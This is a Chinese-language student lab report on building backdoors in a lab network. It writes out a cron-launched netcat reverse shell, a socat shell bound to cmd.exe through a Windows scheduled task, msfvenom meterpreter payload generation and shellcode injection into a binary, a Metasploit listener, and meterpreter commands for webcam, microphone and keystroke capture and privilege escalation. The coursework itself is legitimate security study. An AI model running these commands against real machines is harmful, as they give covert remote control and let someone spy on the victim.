实验二 后门原理与实践
1.实验内容
- 使用netcat实现Linux cron启动反弹连接到主机
- 使用socat实现Windows 任务计划启动反弹连接到Kali
- 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell,实现音频、摄像头、击键记录等信息的获取
- 使用MSF生成shellcode注入pwn20192408.1,在目标主机运行并实现反弹连
2.实验要求
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 下载了带有后门的安装包,点击了钓鱼链接,使用了带有恶意程序的U盘,系统直接被攻击。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win:任务计划程序中增加定时任务
- linux:cron定时任务
- 开机自启动技术
- 与文件或服务捆绑
(3)Meterpreter有哪些给你映像深刻的功能?
- 可以使用简单的命令生成各类后门文件
- 获取摄像头或者击键记录
(4)如何发现自己有系统有没有被安装后门?
- 使用杀毒软件查杀,检查文件系统是否有异常,检查CPU占用率是否正常,查看日志与注册表等。
3.实验过程
(1)任务一 使用netcat获取主机操作Shell,cron启动
- cron是linux下用来周期性执行任务的进程
- 格式如下:
f1 f2 f3 f4 f5 program
其中f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。
首先用crontab -e 指令打开cron编辑器,在其中增加一条定时任务。
在最后一行插入命令
*/1 * * * * /bin/netcat 192.168.56.1 4311 -e /bin/sh
表示每隔一分钟进行一次反弹连接到192.168.56.1的4311端口的操作
修改完成后保存并退出。可以使用crontab -l命令查看配置。
然后在Windows中开启监听
ncat.exe -l 4311
等待1分钟后反弹连接成功,执行指令pwd,显示/root表示成功获取Shell
(2)任务二 使用socat获取主机操作Shell, 任务计划启动
- 在Windows下,打开控制面板>系统和安全>管理工具找到任务计划程序,并创建任务
- 触发器选择“工作站锁定时”
- 操作中的“程序与脚本”选择socat.exe所在路径,添加参数tcp-listen:4311 exec:cmd.exe,pty,stderr 将cmd.exe绑定到端口4311。
- 创建完成后,锁屏并再次登录计算机,此时任务开始运行
- 在Kali中输入 socat -tcp:192.168.56.1:4311,获取Shell成功。
(3)任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali中使用如下命令生成20192408_backdoor.exe,其中192.168.190.128为虚拟机的ip地址,端口号可以任意指定,但需要与以后步骤中的保持一致
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -f exe > 20192408_backdoor.exe
- 在Windows下执行如下命令,表示进入接收模式
ncat.exe -l 2408 > 20192408_backdoor.exe
- 同时在Kali内输入如下命令,开始传输文件。此处需要注意的是文件传输结束后命令行内不会回显信息,可以用Ctrl+C手动终止
nc 192.168.56.1 2408 < 20192408_backdoor.exe
此时出现病毒文件提示
手动将文件恢复后,可以看到文件传输成功
- 在Kali内打开监听进程,按如下操作。
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
set LHOST 192.168.190.128
set LPORT 2408
exploit //设置完成,开始监听
注意此处set LHOST所设置的地址与set LPORT所设置的端口号需与前面生成20192408_backdoor.exe文件时所使用的的保持一致。
- 在Windows下点击20192408_backdoor.exe文件运行
- 监听成功,Kali成功获取被控机的Shell,此处用dir指令验证,成功显示Windows下的桌面目录。
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 在监听状态下使用 help 命令可以看到meterpreter 的用法
1. 获取音频
命令如下:
record_mic
在相应的文件夹中看到了文件内容
2. 获取摄像头
webcam_snap
照片文件如下
3. 获取视频
webcam_stream
输入命令后会跳出一个网页实时显示电脑摄像头所拍摄的实时视频,如图
4. 获取截屏
screenshot
截屏结果同样出现在相应文件夹里,如图
5. 获取击键记录
keyscan_start //开始获取
keyscan_dump //显示开始后至此时主机的击键记录
keyscan_stop //结束获取
如图,先输入keyscan_start 开始获取击键记录。然后再微信框中输入字符,再在命令行中输入keyscan_dump,其后便会显示刚才输入的字符。显示完毕后输入keyscan_stop结束捕捉。
6. 提权
先使用getuid指令查看当前用户,再使用getsystem指令提权,显示Error。
原因是杀毒软件清除了相应dll文件,手动将其恢复后提权成功。
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1. 使用如下指令将Shellcode注入到pwn20192408.1中生成exe文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -x ./pwn20192408.1 -f elf > pwn20192408.4
其中按照msfvenom指令格式,linux/x86/meterpreter/reverse_tcp表示反弹连接攻击者,并产生一个shell。由于pwn20192408.1为32位程序,所以采用linux/x86。LHOST与LPORT分别指明了Kali的ip地址和监听所使用的端口号,-x ./pwn20192408.1表示将Shellcode注入到这个文件中,-f elf指明了所生成文件的格式。最终输出文件为pwn20192408.4
- 开启另一个终端进行监听。依次输入的指令如下
use exploit/multi/handler //使用监听模块,设置payload
set payload linux/x86/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
set LHOST 192.168.190.128
set LPORT 2408
exploit //设置完成,开始监听
- 在原来的终端内使用./pwn20192408.4运行生成的后门文件,发现权限不够
- 使用chmod u+x * 在用户权限中添加执行权限,再次执行pwn20192408.4,攻击者终端中显示监听成功,输入ls即可查看当前目录
4.问题及解决方案
- 问题1:使用crontab -e编辑完毕后报如下错误
- 问题1解决方案:对于cron指令格式掌握出错,少输了一个。/1 * * * *表示每一分钟执行一次。定时任务格式如下:
* * * * * command
分 时 日 月 周 命令
第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”。
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”。
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
- 问题2:任务三中使用ncat将文件从Kali传送到Windows主机时误以为传送失败
- 问题2解决方案:用ncat传送文件结束时在命令行没有消息回显,但可以在桌面上看到文件,即事实上传送成功了。可以使用Ctrl+C终止传送。
- 问题3:任务五运行生成的pwn20192408.4时显示权限不够。
- 问题3解决方案:使用chmod u+x * 授予用户执行权限,再次运行成功。
5.学习感悟与思考
本次实验接触到了很多新的工具,如ncat、socat、meterpreter等,通过实验对这些工具有了初步了解,也体会到了他们功能的强大。通过实验我了解到了通过反弹式连接可以更好地绕过防火墙,而启动连接可以通过Windows的任务计划程序或是Linux下的cron定时计划等方式,同时也可以通过更为复杂的方式,例如和文件捆绑、安装为服务等,后者实现起来更为复杂但也更不易被发现。虽然在这次实验中通过meterpreter成功生成了后门并实现了监听,但是是在关闭了杀毒软件的基础上,在以后的实验中还要继续实现免杀功能。